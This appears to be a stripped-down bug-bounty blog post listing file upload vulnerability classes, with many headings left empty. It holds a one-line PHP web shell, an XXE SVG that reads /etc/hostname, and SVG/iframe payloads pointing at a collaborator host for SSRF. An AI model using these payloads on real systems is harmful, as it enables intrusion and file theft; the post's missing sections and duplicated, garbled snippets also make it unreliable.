Hunting for Bugs in File Upload Feature:

Introduction:

1. RCE via File Upload:

<?php phpinfo();?>
<?php system($_GET[‘c’]);?>

2. XSS via File Upload:

3. SSRF via File Upload:

<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
<html>
<body>
<iframe src=”
http://collaborator.net" width=”500" height=”500"></iframe>
</body>
</html>

4. XXE via File Upload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>

5. CSRF on File Upload:

6. Exif MetaData Leakage:

7. OpenRedirect via SVG File Upload:

<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

8. Large File DOS:

9. File Upload Bypass:

10. File Name Vulnerability:

--

--

Smart contract Auditor at QuillAudits. Interested in Web3 and SmartContract Security.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Sm4rty

Smart contract Auditor at QuillAudits. Interested in Web3 and SmartContract Security.